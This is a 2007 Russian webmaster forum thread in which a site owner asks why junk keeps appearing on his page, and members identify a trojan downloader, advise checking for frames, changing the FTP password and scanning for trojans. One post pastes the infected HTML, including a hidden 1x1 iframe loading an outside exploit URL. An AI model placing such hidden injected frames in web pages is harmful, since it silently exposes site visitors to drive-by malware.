Перейти к содержимому

Фотография

Что происходит с сайтом?


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 12

#1 Хахол

Хахол

    Коммерсант

  • Киберсанты
  • PipPipPipPip
  • 191 сообщений
17
Хороший
  • Страна, Город:
    Хохляндия, г. Салогорильск )))
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 05:41

Привет всем. История такого характера. Уже начинает выводить, постоянно приходится менять индексную страницу этого сайта: (ссылку убрал, там оказывается троян, см. след. пост) . Сверху систематически появляется какая-то лобуда. Вопрос такой - ЧТО ЭТО? И КАК С ЭТИМ БОРОТЬСЯ?

Заранее благодарю за советы.
  • 0

На правах рекламы

#2 RUnet Keeper

RUnet Keeper

    Свой человек

  • Клиент Info-DVD.Ru
  • PipPipPipPipPip
  • 5 789 сообщений
948
Очень хороший
  • Страна, Город:
    РУнет
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 06:06

Попытался скачать главную страницу, а у Вас там ВИРУС (TrojanDownloader.small.DО)!!!!

Всем быть осторожнее!!!!

P.S. И Касперский и Nod определили его
  • 0

и снова в отпуске ))


#3 Хахол

Хахол

    Коммерсант

  • Киберсанты
  • PipPipPipPip
  • 191 сообщений
17
Хороший
  • Страна, Город:
    Хохляндия, г. Салогорильск )))
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 06:55

Во как... :rolleyes: Но как он там оказался, как предотвратить в дальнейшем это?
  • 0

#4 RUnet Keeper

RUnet Keeper

    Свой человек

  • Клиент Info-DVD.Ru
  • PipPipPipPipPip
  • 5 789 сообщений
948
Очень хороший
  • Страна, Город:
    РУнет
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 07:09

Поставить себе антивирус (или лучше два Касперский и nod 32)
  • 0

и снова в отпуске ))


#5 Александр Соловьев

Александр Соловьев

    Оптимизатор

  • Киберсанты
  • PipPipPipPipPip
  • 1 626 сообщений
177
Очень хороший
  • Страна, Город:
    Латвия, Резекне
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 08:50

Индексная страница на php?

Может дыра какая есть.

Если на html, то ругайте хостинг.
  • 0
Продвигаю сайты в топ10-топ1 в Яндексе
ICQ — 9947888
Советую владельцам сайтов с тИЦ от 40 зарабатывать по 40-50$ в месяц.

#6 Алексей Успехов

Алексей Успехов

    Свой человек

  • Киберсанты
  • PipPipPipPipPip
  • 512 сообщений
44
Очень хороший

Отправлено 04 Июнь 2007 - 11:20

Странно. Я зашел на этот сайт и мне антивирус ничего не ругает!
  • 0

#7 RUnet Keeper

RUnet Keeper

    Свой человек

  • Клиент Info-DVD.Ru
  • PipPipPipPipPip
  • 5 789 сообщений
948
Очень хороший
  • Страна, Город:
    РУнет
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 11:26

Надо не зайти, а скачать главную страницу...
  • 0

и снова в отпуске ))


#8 Хахол

Хахол

    Коммерсант

  • Киберсанты
  • PipPipPipPip
  • 191 сообщений
17
Хороший
  • Страна, Город:
    Хохляндия, г. Салогорильск )))
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 12:19

Индексная страничка - в формате HTML.

Если на html, то ругайте хостинг.


Выходит, это вина хостера?
  • 0

#9 Василий Бинфос

Василий Бинфос

    Свой человек

  • Киберсанты
  • PipPipPipPipPip
  • 1 180 сообщений
140
Очень хороший
  • Страна, Город:
    Москвы
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 12:34

ВОзможно вас посетил фтп-вирус.
Проверьте содержимое страниц, нет ли там фреймов.
  • 0

#10 Хахол

Хахол

    Коммерсант

  • Киберсанты
  • PipPipPipPip
  • 191 сообщений
17
Хороший
  • Страна, Город:
    Хохляндия, г. Салогорильск )))
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 13:10

Да фрейм есть. Неоткуда, в нагрузку, появился вот такой вот код:

<title>Novб strбnka 1</title>
</head>

<body background="pozadi2.jpg"><iframe src='http://pynet.ws/exp/index.php' width='1' height='1' style='visibility: hidden;'></iframe>


<div align="center">
	<div align="center">
		<div align="center">
			<div align="center">
				 <table border="0" width="600" cellspacing="0" cellpadding="0">
					<tr>
						<td rowspan="5" width="150" valign="top" background="LEFT%20kopie.jpg">
					 <p> </p>
					<p> </p>
					<p> </p>
					<p> </p>
					<p> </td>
						<td width="439" style="border-top-style: solid; border-top-width: 3px" bordercolor="#99AE6B" height="96" valign="top" background="up%20kopie.jpg">
						<p style="margin-top: 2px; margin-bottom: 0" align="right">
						<b><font face="Verdana" size="1" color="#99AE6B">Jan 
						Шehoшek   </font></b></p>
						<p style="margin-top: 2px; margin-bottom: 0" align="right">
						<b><font face="Verdana" size="1" color="#99AE6B">M.J.Husa 
						629/298   </font></b></td>
						<td width="11" bgcolor="#99AE6B" height="96"> </td>
					</tr>
					<tr>
						<td width="450" height="38" colspan="2" valign="bottom">
						<img border="0" src="pruh.jpg" width="450" height="38"></td>
					</tr>
					<tr>
						<td width="439" height="291" rowspan="2" align="center" bgcolor="#FFFFFF">
						<iframe name="center" width="427" height="280" marginwidth="10" marginheight="10" title="center" border="0" frameborder="0" src="home.htm">
						</iframe></td>
						<td width="11" bgcolor="#99AE6B" height="28"> </td>
					</tr>
					<tr>
						<td width="11" height="263" bgcolor="#99AE6B"> </td>
					</tr>
					<tr>
						<td colspan="2" valign="bottom">
					<img border="0" src="down.jpg" width="450" height="100"></td>
					</tr>
				</table>
			</div>
		</div>
	</div>
</div>

</body>

</html>
) ? nsdoc+'.'+name : 'document.all.'+name);
  if (name == '')
	return;
  if (img && img.altsrc) {
	img.src	= img.altsrc;
	img.altsrc = null;
  } 
}

// -->
</script>

Вам предупреждение!
Обрамляйте код соответствующе!

Сообщение отредактировал Василий Бинфос: 05 Июнь 2007 - 22:44

  • 0

#11 Анатолий Белоусов

Анатолий Белоусов

    Основатель форума

  • Администрация
  • 27 350 сообщений
8 764
Очень хороший
  • Страна, Город:
    Россия, г. Ижевск
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 13:22

Срочно меняйте пароль доступа по FTP!!!!
Чистьте страницу и проверяйте комп на наличие троянов (лучше всего антивирем NOD32)...
  • 0

Обучение ИНВЕСТИРОВАНИЮ и ТРЕЙДИНГУ - https://www.infoclub.info
Известнейшее мультимедийное ИЗДАТЕЛЬСТВО - http://www.info-dvd.ru

Авторский блог АНАТОЛИЯ БЕЛОУСОВА - http://www.cyberdengi.com


#12 Александр Соловьев

Александр Соловьев

    Оптимизатор

  • Киберсанты
  • PipPipPipPipPip
  • 1 626 сообщений
177
Очень хороший
  • Страна, Город:
    Латвия, Резекне
  • Пол:Мужчина

Отправлено 04 Июнь 2007 - 16:03

2Хахол, фрейм может быть не только на главной, проверьте все страницы.
  • 0
Продвигаю сайты в топ10-топ1 в Яндексе
ICQ — 9947888
Советую владельцам сайтов с тИЦ от 40 зарабатывать по 40-50$ в месяц.

#13 Хахол

Хахол

    Коммерсант

  • Киберсанты
  • PipPipPipPip
  • 191 сообщений
17
Хороший
  • Страна, Город:
    Хохляндия, г. Салогорильск )))
  • Пол:Мужчина

Отправлено 05 Июнь 2007 - 07:28

Срочно меняйте пароль доступа по FTP!!!!
Чистьте страницу и проверяйте комп на наличие троянов (лучше всего антивирем NOD32)...


Все сделал как посоветовали.
Надеюсь эта зараза больше не появится.
  • 0




Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 скрытых пользователей